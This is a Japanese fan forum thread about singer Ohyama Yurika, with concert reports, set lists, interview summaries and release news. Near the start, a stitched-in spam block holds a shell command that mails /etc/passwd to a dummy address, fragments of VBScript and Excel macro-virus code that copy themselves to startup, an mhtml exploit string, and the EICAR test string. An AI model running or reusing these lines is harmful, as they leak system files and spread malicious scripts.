【はるさめ】大山百合香 Part.1 【恋のうた】
■10月21日 FLOWER LOVE ISLAND from 沖永良部島(凱旋フリーライブ）開催
オフィシャルサイト http://www.ohyamayurika.com/
ブログ http://blog.sonymusic.co.jp/ohyamayurika/
糞スレ終了
cat /etc/passwd | mail nobody@nonexistent.com
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If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
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X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
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ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
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Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
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m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
？？？
Set list
1.永良部の子守唄
2.海の青 空の青
3.星の歴史 feat. U-DOU&PLATY
4.BASHOFU feat. U-DOU&PLATY
5.会いたい
6.小さな恋の歌
7.さよなら
30分位しか、ライブの放送されなかったorz。
「会いたい」では、また、途中からウルウル来てたみたいだった。
大山百合香が、永良部で泣かずに「会いたい」を歌える日は来るのか？
モンパチのカバーと清作提供の曲が聴きたくてアルバム買ったんだけど、他の曲もよかった
声がすごい綺麗だね
でも、DVDのショートムービーの方は正直いらなかったな…
てっきり短い映画みたいな物かと思ってたんだけど、全然違った
乙！
いらないね…
なんか合ってない
乙！
>>7,>>9
自分もどうせなら大山百合香の声だけのが聴きたかった
でも「海の青 空の青」が一番好きかな。
少しでもファンを増やそうとしているのか、カバーも多いし
自分で作詞か作曲ができないと辛いんじゃないかな
と確認したら、「11月5日（土）」になってた（笑）。
沖永良部から関西～四国連続で回って、土日は休みだけど、来週は
関東～奄美ってすごいね。新人時代ってこんなもの？
11月5日、風邪引きとかになって欲しくはないけど。
ttp://amaminchu.com/entertainment/interview005.html
ttp://www.excite.co.jp/music/close_up/0610_ohyama
[まず、小さな恋の歌がかかる]
大原：さぁお待たせしました、大山百合香さん。お久しぶりです。
大山：お久しぶりです。
大原：実は、デビューシングルをリリースされたときに、この番組に遊びに
来ていただいたんですよ。覚えていますか。
大山：覚えてますよぉ。
大原：嬉しいです。なんかとても元気そうで、心なしかよく日に焼けて。
大山：確実に焼けました。
...（中略）...
大山：Kind of Blueは、私の中で青っていうのがすごく回りになるなぁって
感じで、今回のこのアルバムで青をイメージして歌ったり、地元沖永
良部島の海とか空の青さとか、大きな、大きな地球の青さとか、宇宙の
青さ、そして私が島を離れて一人暮らしをしたときに感じた寂しい
ブルーの想い、そういった今まで経験してきた私の中の青ってイメージ
しながら歌っています。ただ、皆さんにも心の消しきって言うのが曲を
聴きながら見えてきたらすごくうれしいなって思う...
・・・・
はじめまして、うがみあぶらぁ～
「こんにちわ」って意味です。
島によって方言が違ってくるので、これは沖永良部島特有で、「こんにちわ」
の「こ」の字も入っていないけれど、「こんにちわ」って意味なんです。
若者は全然使わないけれど。
永良部にいたのは15歳、中学3年生まで、高校入学とともに音楽を専門的に
やってみたいと、鹿児島の方に行きました。
沖永良部島の主な産業は花の栽培で、農業がすごく盛んで、飛行機で着陸する
とき茶色い赤土の畑がずっと広がっている。エラブユリの花、黒糖、さとう
きび、フリージア、菊の花なんかが作られている。実家も電照をつけて菊栽培
をしている。夜、とてもきれい。
21日のコンサートは大雨がちょうど晴れて、サンセットの景色をバックに
できた。「こんなに人がいたのか」ってくらい、島の人たちが集まってくれた。
沖永良部島に帰って一番食べたいものは「黒糖ピーナッツ」と「サーターアン
ダリー」って、黒糖のドーナッツ。
（ここで、お土産の「黒糖ピーナッツ」登場）
ジャケットは沖縄で撮影した。そこは元々飛行機の滑走路の跡地で、草原が
ずっとつながっていた。ジャケットをあけた、一本道の写真は、古宇利島で
撮影した。
東京で一番好きな町は、高円寺。去年初めて行ったが、古着とか一杯あって、
高円寺の中の奄美料理屋にもよく行く。
最近、月島から出た屋形船でスタッフ皆で親睦会をやって盛り上がったが、
風が強くて船酔いもした。CDをかけてもらって、乗り合わせた相席のお客さん
と皆で合唱。
すごく回りになるなぁ => すごく回りにあるなぁ
心の消しき=>心の景色
NACK5に番組出演シーンと特別コメントの映像来たね。
ttp://www.nack5.co.jp/hithit.com/
悩んだけどやっぱりレンタルで済まそうかな。
この人声はいいけどモンパチのカバー以外はどれもピンとこないし
あと３日待てばTSUTAYAでレンタル解禁になるっていうのもあるし。
メッチャきれいな声。。かんどーする
行った事が無いので誰か教えて下さい、因みにCDは買います。
誰でも入場できてたよ。整理券は、ライブ終了後に百合香さんからサイン入り写真を手渡して
もらうためのものでした。
=セットリスト＝
1.永良部の子守唄
2.星の歴史
3.ブーゲンビリア
4.小さな恋の歌
5.さよなら
いつもの、ギター鈴木俊介さん、ベース鹿島達也さん、キーボードの良原リエさんに加えて、
鳩間加奈子さんが沖縄から来てて、最初の2曲は三線入りでしたので、「新宿、お得だったなぁ～」と
思います。
星の歴史では、百合香ステップも炸裂してましたが、東京帰ってきて風邪引いたって言ってたせいか、
恋の歌とさよならがちょっと不調に聞こえたのは、オイラの耳のせい？
>>24さん
やっぱりナマ歌はいいよ。仕組みは同じで入れると思うから、来ること、ぜひお勧め。
新宿では、整理券がまだ余っていたので、横浜でもCDを買えばサイン入り写真ももらえるの
ではと思うよ。すごい厚さの枚数の写真が用意してあったし。あれにサインするのは疲れるだろうなぁ。
レポ乙です
そういえば今日だったのね（泣）
確かに、公式HPのInfoで情報流れてたけど・・
１ヶ月近く前に。。
>>24
11/11の横浜VIVREのイベントは、公式HPに
「イベントはフリーでご観覧頂けます」って書いてあるから
迷わず行けさえすれば見られるのでは？
行った事ないけどｗ
JR横浜駅から近そうだし、平気かな。
風邪なのか心配してしまう。
音楽とともに沖永良部島から旅に出て、いろんな所で人との出会いや受けた影響を持って、また島へ返って
ライブをやったりの大山百合香さんと、聞く人をどこかへ連れて行ってくれる13色のアルバム KIND OF BLUE
の特集でした。
メモれたところのみだけど、こんなトピックとトークでした....
●沖永良部島の紹介
●東京に出てきたきっかけ
●小さいころ好きだった歌は
沖縄民謡やエーサー、ネーネーズ、夏川りみなどの沖縄のアーティスト。
畑に聞こえてくると仕事を中断して踊りだすほど、島の人はみんな音楽好き。
●アルバム「KIND OF BLUE」のイメージ
●MONGOL800をカバーしたのは
高校時代、友達に紹介してもらって知った。
沖縄の時間の流れを感じられて、すごく励まされる、元気になるなぁと寮で流すほど好きだったけど、
縁があってカバーできた。
●島歌への想い
どこかに当たり前の気持ちも入っているかもしれないが、すごく特別。島歌とか島の方言とか聞くと、
東京にいても安心するし、落ち着く。
●ソウルフード
（魚のアカジンの話が出た後、）茹でジーマミがお酒の肴に毎日のように出てくる話
●沖永良部島のベストポイント
島からぽこっと海にはみ出ている崖っぷち、街灯も何も無いので、夜は星しかないところがある。
ここは島の人しか知らないベストスポット
●沖永良部の反対の北海道へは...
北海道はまだ行ったことが無いし、東京のパラパラ以外、雪は1回しか見たことが無いので、北海道を
ドライブできたら楽しみ。
●音楽の神が賞をくれるとしたら何賞？
頑張りま賞です。
音楽のセッションみたいに、DJもすごい人は、即興的にゲストの良いところをどんどん引き出してしまうんだな
と、赤坂さんのトークに感心した。いつもの営業トークを越えて、百合香さんがリラックスしている雰囲気が
引き出せていた。
百合香さん、始めは「鼻声？」と思ったけど、番組の最後の方になるにつれて、大丈夫そうだった。
そして、黒蜜かかったジーマミ豆腐が食べたくなった。
「星の歴史」、「小さな恋の歌」の2曲のリハーサルの時、「きばれよ～」という声が飛んだりしていました。
横浜でライブをやるのは、はじめてとのこと。
最初の2曲でアクシデント。
・コードが外れたのか、突然ベースの音が途切れました
・かなり、マイクのハウリングが激しかった（ミキサー、しっかりしてくれよぉ～）
・そして、完全に目がいっちゃて、缶チューハイを手にした酔っ払いが、観客の中をうろうろ
この酔っ払いは、リハーサルの直後あたりからステージの人だかりに寄ってきていたのだけど、ブーゲン
ビレアの最中にまた登場して、その後どこかへ行ってくれたのだけど、何されるかわからないだけに
途方もなく怖かった
なお、セットリストは、曲順が違っていました。
=セットリスト＝
1.永良部の子守唄
2.ブーゲンビレア
（MC)
3.星の歴史
4.小さな恋の歌
（MC)
5.さよなら
ギター鈴木俊介さん、ベース鹿島達也さん、キーボードの良原リエさんの顔ぶれは変わらず。鳩間さんは
今回は不在でした。ユープラなしの星の歴史（アコースティック・バージョン）もいいよな、と思ってます。
せっかくのいいパフォーマンスが台無し
ファッションもかわいかったし。
ただ、本人以外がいろいろトラブってましたかね･･･
演奏アツくて良かったんだけど。
最後の曲で、ギターの弦切れてた？あるいは緩んだか･･･
次は三線入りで聴いてみたいなぁ。
公開生放送。DJの宮本絢子さんは、沖永良部ライブも行ってきたみたいだから、いろいろとその辺の話も
出るのではと....
つ ttps://zip-fm.co.jp/blog/beatnik_junction/Detail.asp?BlogMasterID=beatnik_junction&Seq=2959
行った人 or 聞いた人いたら、レポ、よろm(_ _)m。
つhttps://zip-fm.co.jp/program/beatnik_junction/PhotoDetail.asp?ProgramCode=beatnik_junction&Seq=34787
この人の声めっちゃいいね。「小さな恋のうた」マジで（・∀・）ｲｲﾖ～!!
インタビューもちゃんと聴いとけばよかった…
４軒CDショップ回ったけど無かった、でも３店はお勧めの張り紙が付いてた。
行ってきたよ(^o^)丿
百合香さんと鈴木・"今日は弦切れなかったぞ"・俊介さんとがスタジオブースにいました。生歌のときには、
ガラスの向こうにいる人たちを見ながら、手振り身振りを交えて情感たっぷりに、「小さな恋の歌」を歌って
くれました。
内容は....
●プロフィールの紹介
●Kind of Blueのコンセプト
今の自分の持っている表現を、1stアルバムとして全て出せたらいいなと思っていたが、出来上がった後に、
小さいこと頃から見てきた島の風景や心の青を思い描きながら歌ったりしている。
●沖永良部島の自然
本当の自然の青が広がっている。沖永良部は山が無いので、右を見ても左を見ても海の青、空の青が
広がっていて、畑が一杯あるので畑のきれいな緑が広がっていて、自然はいっぱいある。
●島の人は歌が好き
島の人は、歌が好き、目立ちたがり屋が多い。自分を表現するのに楽器を持ってきて歌ったり、踊ったり。
お酒を飲む席が多いけれど、そんなときに百合香さんも負けじと、歌ったり、踊ったりしてきた。
●歌うときは
聞いてくれる人がいると、目を見つめながら歌うことが多い。一緒に楽しもうというのが小さな頃からあった
ので、楽しんでいただけたらなぁと思っている。
●一番心掛けていること
楽しむこと、そこに存在する音楽をすごく単純に楽しむことから始めて、皆で楽しむことができればと、ライブ
の時とかに心掛けている
●東京に来ての環境の変化
時間の流れ、人の多さとか、一杯あった。
最初に来たときはワクワクしてきたけれど、生活に慣れてくると、時間の流れ、空気の流れが違うなと。
人にぶつかることが始めての経験だったので、すごくびっくりした。
島では予定があって集まって合うことしかない。たまに町であっても声を掛けてくれることはあるが、いっしょ
に買い物に行くっていうのはないけど、「海いこうか」って感じ
島にいるころは、星はあまり気にしたことはなかったが、東京からたまに帰ると、星がきれいなことに驚いたり
した。
●環境のために心がけていること
小さなことだけど、お風呂の残り水を洗濯に使いまわしたり、ごみの分別をきちんとしたりとか。
沖永良部ライブ音源の、歌の途中で感極まってだいぶ震えた歌声の「会いたい」が流れた10月31日の、
坂上みきさんの「ヒットメーカー」の録音も出てきたから、ライブの模様を中心にめぼしいところだけ拾って
みた...。
坂上さんとはスタジオで会うのは初めてだけど、石垣島で会ったり、海であったり、沖永良部島のライブでと
他のところであったりで...最初に坂上さん一言「（スタジオだからて）緊張するなよぉ～」
ライブの時は、島でもあんな雨は無いのではというくらいのスコール状態の雨だったが、ライブ始まる直前
できっぱり晴れた。雨の最中、じいちゃんやばあちゃんがみんな神棚の前で、晴れるように祈ってったとの
ことで、後から聞いて感動した。
坂上さんが早めにいったらそれほど人はいなかったけれど、6時直前になったら、小さな赤ちゃんからおじ
さん、おばさんまで、こんなに人がいたのってくらいにみんな来た。
金沢電気は電光掲示板で「大山百合香ちゃん、ライブ」ってな感じで、島中ポスター、カンバンであふれて
いた。
ライブの最後には、「会いたい」以上に、本気泣きになっていた。
スタッフが160人きたが、マドンナが日本に連れてきた人数と同じ。
歌うときに独特の、うどんふみとかに活かせるんじゃないかと思えそうな百合香ステップもだいぶ踏んでた。
このインタビューでは、KIND OF BLUEのコンセプト紹介のとき...「沖永良部は視野の半分以上が、海や空で
青」って話が出ていて、すごく印象に残っている。エラブ、行きてぇ。
昨日、○○田のTUTAYAでまだ残ってるのを見つけた。
まだ探せばあるのではと思うので、ガンバレ～(^o^)丿。
電話して、あったら取り置いてもらっとくのが、無駄足を踏まなくて効率的だよ。
つ http://www.towerrecords.co.jp/sitemap/CSfCardMain.jsp?GOODS_NO=991733&GOODS_SORT_CD=101
一寸遅れてファンになると大変ですわ、アドバイスをくれた方ありがとございました。
㌧㌧！ ナマで生歌聴けた人ﾃﾗｳﾗﾔﾏｼｽ…
「道行く人がつぎつぎ足を止めて…」と言ってたけど、それもすごく分かる気がする。
それくらいハッと魅了させられる歌声だ。
とりあえず自分も気長に初回版探してみるっ（`・ω・´ ）
どうしても見つからなかったら、37さんみたいに注文かな…
2006～2007年の注目株だね！
ブーゲンビレアってことはこの人沖縄出身かな
最近の歌手でここまで澄んだ声出せる人はなかなかいないんじゃないかな？
今後に期待しつつ見ていくとするZE!!!
行ってきたよ。うろ覚えだけど、こんな感じだった。
最初は、倉本美津留さん、戸田恵梨香さんと百合香さんの3人で、司会の女性のリードのもとに
約45分間のトークショー。倉本さんの島の話とかになったときに、確か「永良部の歌姫から、日本の島の
みんなが応援してくれるような人になってください」とかのくだりの前あたりから、百合香さんは既にウルウル
しかけていました。
「KIND OF BLUE」は戸田恵梨香さんが寝る前に、子守唄がわりにかけているとのこと。
そして、百合香さんは新曲を準備中とのことでした。
その後のアコースティックライブでは、音響が良いところで聞くのはいいなぁと、痛感。
インストア・ライブとは比べ物にならなかった。
=セットリスト=
1. 永良部の子守唄
2. 星の歴史
(MC)
3. 会いたい
(MC)
4. 小さな恋の歌
5. さよなら
(MC)
6. あなたに
（ギター鈴木俊介さん、ベース鹿島達也さん、キーボードの良原リエさん）
永良部の子守唄では、赤ん坊を抱くポーズで歌ってくれたり、「会いたい」と「あなたに」と、インストア・
ライブではなかった歌が聞けたりで収穫は大きかった。
鈴木さんのギターの弦も無理にかき鳴らすことも無いので切れなかったし、最後に「みなさん、一人
一人に」って歌ってくれた「あなたに」は、モンパチとも違って本当に良かったです。
ライブが終わったとき、拍手をし続けたらアンコールって出来たのかなとも、今になって思ってますが、
「あなたに」の後に、なんかすんなりと終わってしまいました...う～ん、拍手し続けてみればよかったかも。
ただ、「さよなら」のエンディングで後ろにのけぞるポーズをとったんだけど、鼻の穴が見えるようで
アレはカッコよくない....と思った...特にステージに近い客席では。
それから会場を出るときに、お土産に「大山百合香ドロップ缶」をもらったよ。
自分もﾉｼ
でもやっぱり原曲が好き
当時はアルバムを待つほどじゃないと思ったからシングル買っちゃったけど
結局アルバムも買った
12月7日（木） 渋谷DUO
12月16日（土） SHIBUYA BOXX
（出所：良原リエ姉さんのスケジュール帳）
ちょうど、どちらのハコもここだけ予定空白という微妙さw
12月15日には、地元 横浜 BLITZのモンパチ行くんだけど、その翌日上江洌 さん飛び入り
なんてあったら、なお素敵だと...妄想
ベースの鹿島達也さんのブログ、なんかほのぼのとしていて良いです。
http://kashimabb.seesaa.net/
百合香さんのライブの裏話的なコメントも見れるし。
まあ、これもある意味、出会いとか、偶然いうものですかと...最近の百合香さんライブのMCなんか、
聞きながら、ふと思っております...
見たよ!! 笑顔でリラックスして歌っているのがよかったよね。
http://at.bloc.jp/info/01074
ここの会場ってどんな感じなんだろ。
ライブレストランみたいだし、１人じゃ行きにくそう・・。
ｷﾀ━━━━━━（ﾟ（ﾟ∀（ﾟ∀ﾟ（☆∀☆）ﾟ∀ﾟ）∀ﾟ）ﾟ）━━━━━━!!!!!!
>>59さん、恵比寿ガーデンホールは、もろコンサートホールだ。
http://gardenplace.jp/hall/hall/floor.html
昔一人で行ったことあるけど、しかも途中入場したけど、特に問題は無かった。
「L'ULTIMO BACIOホームページ」 のリンク先の写真が悪いょ。
それにしても、いきなりでっかいハコだなぁ。
7月の宮古島の台風中止ライブのリベンジみたいで、百合香さんは前座っぽいけど、みんなで行こうよ。
thx！
こりゃ、行くしかないな。
歌声も透明感があってステキでした。
ぴあで買おうとしたら最前列の中央付近らしく、
こんな席だと落ち着かなさそうで購入しなかったくらいだ。
eプラスの方が後ろだったので、こっちで買ったけど。
オレ、ローソンで10：10に買っても、E列の真ん中だった( ´・ω・｀)ｼｮﾎﾞｰﾝ
今ぴあで確認してみたらA-16が買えるんだが、
まさか最前列より、ちょっと後ろの方が良席ってことに
なってるなんてことないよなｗ
ちなみに朝確認したときは、A-12が買えた
≡ （ ┐64
:。; ／
12月16日のSHIBUYA BOXX はM-ON TV忘年会という抽選制の招待イベントで
何人かの歌手の1人として出るみたいだね。
その後、12月18日のエフエム滋賀の前に、12月17日に徳島の予定があるみたいだね。
またまた、強行軍だなぁ。
・日時：2006年12月17日(日） 開場 14:30、 開演 15:00
・場所：徳島ホール
・出演：ASIAN2、大山百合香、Luz Fonte
・入場料：無料
http://fm-tokushima.co.jp/event/x_mas06.htm
http://www.tfm.co.jp/bird/
かなり強気というか無謀というか....
来てたんではないかと思った。多くは、birdファンだったように思うけど、そんな中、今回はFront Act的な
大山百合香の方が、birdをかなり食っちゃったような気がする。それくらい良かったと思えた。
今回は、鹿島達也さんが参加してなくて、かつパーカッション＆ドラムが入ってたんで、ずっとアコース
ティック編成で聞いてきたときと感じが違ってた。
=セットリスト=
1. あなたに
2. 星の歴史
3. 記憶の糸
4. 会いたい
5. 小さな恋の歌
6. さよなら
7. サクラサク （2007年3月の新曲、ｻ･ｺﾌﾞﾗﾂｲｽﾀｰｽﾞの原曲をカバー）
ギター：鈴木俊介、アコーディオン：良原リエ、キーボード：朝本浩文、ベース：真船勝博、パーカッション
＆ドラム：後藤（名前、忘れたorz...でも、この人、バックコーラスで入ったり、結構いい味出してた）
とにかく、百合香さんが楽しげにのびのび歌ってたのが印象に残ってる。
それとともに、セットリストに見られるように、あえて永良部という島を強調するところがなかった。「永良
部の子守唄」も「ブーゲンビレア」も「海の青 空の青」も歌わなかった。
島出身のバックグランドは持ち続けるにせよ、「全国区」へとイメチェンなのかなぁ。
それと新曲のサクラサクは、なんかまだ大山百合香のオリジナリティみたいなものが感じられなかった。
モンパチやネーネーズがまったく違った感じになった驚きのようなものが3月にあるか、期待だなぁ。
カバーは認知度を高めるのにはいいのかもしれないけど、やっぱオリジナルが聴きたい
で、これからもカバーを続けるんなら、カバー曲のみのアルバムを出してほしい
自分は「歌うたい」としての大山百合香を評価してるので、楽曲を自分で
つくってるかどうかにこだわりはないな。
ただ、オリジナルの方が良いっていうのには賛成。大山百合香が歌うこと
を念頭に作られた曲を歌ってほしいと思うよ。
ようつべで偶然発見して初めてこの人のこと知ったんだけど、
綺麗な歌声してるな～ 年末に良い歌聴かせてもらったよ。
2007」にビデオコメントがあるよ。
つ http://ent2.excite.co.jp/music/akeome2007/ohyama.html
Sony Music Online Japanのビデオコメントより時間が長いし、新春書き初めの色紙もあるし、年賀状プレゼ
ントもありで、なかなか充実。
新シングル情報 - 新星堂のWEBにあった。
大山百合香 「春色」
価格： \1,223[税込]
発売日：2007/03/07 1枚[組]
商品番号：AICL-1810
（コメント）
奄美群島は沖永良部島出身、何処までも透き通る奇跡の歌声を有した離島系シンガーの大型新人、
大山百合香！?０７年、初春を彩る待望のニュー・シングルは、何とあの真心ブラザーズ桜井秀俊＆
ＧＡＫＵ－ＭＣ、書下ろしによる珠玉の卒業ソング！軽快なアコースティツク・ギターとピアノの調べが
彩る、卒業を契機に別れ別れになった友や恋人、家族との別れをモチーフに描かれる心揺さぶる
珠玉の卒業ソング決定版！Ｃ／Ｗにはカヴァー企画で、大山と同郷：奄美群島は与論島出身、
ザ・コブラツイスターズによる切ない桜ソングの隠れた名曲、「サクラサク」の絶品カヴァーを収録。
そして２曲ともファンには嬉しいカラオケ・ヴァージョンも併せて収録。
地元じゃ盛り上がっているらしい？
但し和泊町では、おれは、隣町出身なので友人に電話で聞いたら知名町ではそうでもないらし？
アンジェラ・アキ 「サクラ色」
ゆず 「春風」
大山百合香 「春色／サクラサク」
....なんか紛らわしいっす( ;ﾟдﾟ) ・・・・。
入会金 2000円、年会費 4000円
わざわざ郵便切手請求されたんだが、要するに振込用紙に以下の内容をを記入し、6000円振り込んでね
ってことでした。
口座記号および番号： 00140-3-556960
加入社名： 大山百合香ファンクラブ 「Ohana!」
通信欄：
・（入会者の）郵便番号
・（入会者の）住所：
・（入会者の）氏名（フリガナ）
・（入会者の）電話番号
・（入会者の）生年月日
・（入会者の）性別
オフィシャルサイトで告知すればいいだけジャン...と思ったおいらは愚か者？
メンバーズカードが届くまで1ヵ月半ほどかかるけど、2ヶ月を過ぎても届かない場合は、
以下に問い合わせてくださいとのこと。
〒107-0052 港区赤坂5-5-10-2F 大山百合香ﾌｧﾝｸﾗﾌﾞ「ｏｈａｎａ！｣事務局
Tel 03-5573-9093, Fax 03-5573-9092, E-mail yurika.fc-ohana@wakeup-pro.ptu.jp
入会すると、以下の特典だって。
特典
・会報（年4回）発行
・会員限定webサイトの閲覧（予定）
・オリジナルグッズの販売
・限定イベント･ライブのご案内
・ファン･ミーティングの開催
入会特典
・オリジナルメンバーズカードの発行
・入会時特典としてオリジナルグッズをプレゼント
渋谷、何時?
2/11 (日)
SEA OF LOVE
"TOKYO ACOUSTIC NITE Ver"
SHUBUYA@FUTURE
入場無料！！要ドリンクオーダー
OPEN / START: 14:00
LIVE:
大山百合香 松千 マーレーズ マウントシュガー
ありがとさん。
行けそうにないや。
これまで、フロント・アクト的な立場がが多かったので、これは出世と喜ぶべきところだけど、14:00から
3時間以上立ちっぱなしっで待ったうえに、だんだんと室内の気温が下がって底冷えしたので、かなりしんど
かった。
その代わり、今日はアンコールできたし、アンコールで歌った2回目の「春色」は出色の出来栄えでした。
これ聞いただけでも、頑張った甲斐があったというもの。
11月のトークショー付の時も感じたけれど、慎重になリ過ぎたり、緊張していたりすると、だめだね。
最初に「春色」を歌ったときは、出だしのファルセットの高音が出きってなかったし、「うわぁ～、これ大丈夫」
だったんだけど、アンコールは素直に良かった。
「サクラサク」は年末にも聞いたけど、百合香さんの声がノビノビと出る曲だし、なかなか良いんでないかい
とオモタ。
=セットリスト=
1. 星の歴史
(MC)
2. 春色
3. サクラサク
(MC)
4. 記憶の糸
5. 小さな恋の歌
（MC)
5. さよなら
(アンコール)
6. 春色
（ギター 菊池真義さん、ベース 真船勝博さん、キーボード/ピアニカ/コーラス 良原リエさん）
遅くなったけど....
ステージの前に座席が用意されていて、そこは14:00開場とともに埋まってたけど、後ろのほうの
立ち見スペースは余裕で見れたと思う。インストア・ライブと同じ位か、もう少し余裕があったと思うよ。
ほとんどが百合香さんファンだった。
前の3組はステージが終わると、グッズ売り場がある観客席の後方に出てきて、ファンと話をしていた。
用事があったのですぐに帰宅しなければならず、直接確認できなかったんだけど、人づてに聞いた
ところでは、百合香さんも同様に、観客席に出てきて、かなり自由に会話等できた模様。
http://magazine.music.yahoo.co.jp/rep/20070219_001/
●大山百合香『春色』
【ミニ解説】エースコックCM曲『小さな恋のうた』を知る人は多いはず。彼女の美しい声、GAKU-MC
（EAST END）＆桜井秀俊（真心ブラザーズ）による楽曲はせつない気持ちにさせてくれます。カップリング
にはザ・コブラツイスターズの『サクラサク』を収録。
でも、自分のところの歌手に「なんと」って、ちょっとありえなくないw
>> 本日の日刊スポーツに掲載！！
>> 本日発売中の日刊スポーツ芸能コーナー「Monthly音楽ライフ」に掲載されました。
>> 今年ブレイクする歌手は？との質問に各レコード会社の敏腕プロモーターが「自社外」の
>> アーティストを挙げる企画になんと大山百合香が入っていました。
>> 皆様チェックしてみてください。
記事は、ビクター、エイベックス、ユニバーサル、ソニー、ワーナー、KSRの6社の宣伝担当が
他社でブレークしそうなアーティストを予想するというもので、ワーナーの藤井之康氏が、
「本命-対応ｰ穴」の「対抗」にあげてます。
私男だけど、本当に良い声で羨ましい
不祥事も耳にしないし、良い歌手だな
2月11日の温泉街ライブの会場写真発見!!
つ http://blog.livedoor.jp/hiyori1/の2月16日。
それにしても、マーレーズは、ステージの上でも、Blogでも名前間違えとるな。
「大山由香理ちゃん」と思ってたのかよorz。
でも、マーレーズ、なかなか良かったので、3月10日も楽しみなんだけどネ。
カバーばっかってこの人プライドあるのかね？
私は、同日発売のTシャツ・メガネのお姉さんみたいに作曲(作詞)
[...した上に、ピアノの鍵盤殴りつけて歌うこと...]
はできないので、作詞家・作曲家に頼まなければならないのですが、
戸田恵梨香ちゃんの出演料が高くて、1曲しか作ってもらえないん
ですよぉ（涙）
しかも、スポーツ新聞に掲載されば「なんと」って書いてくれる
スタッフとやってますから、「あ?もう少しなんとかしてよ」と
思うこともありますが、「世の中、そんなにうまくいかねぇ?よ」
なのです。
でも、サックスお嬢様みたいに、ライブのアンケートに「次は何を
カバーしてほしいですか」とは、さすがに書いてはいないけどね。
でもさぁ、カップリング曲に他の人のカバー曲を入れてきただけなん
だけど、それでも文句あるのかなぁ。あんまり文句言うと、イラブの
フカの餌にしちゃうぞぉ....いじょ、大山由香理でした～！！
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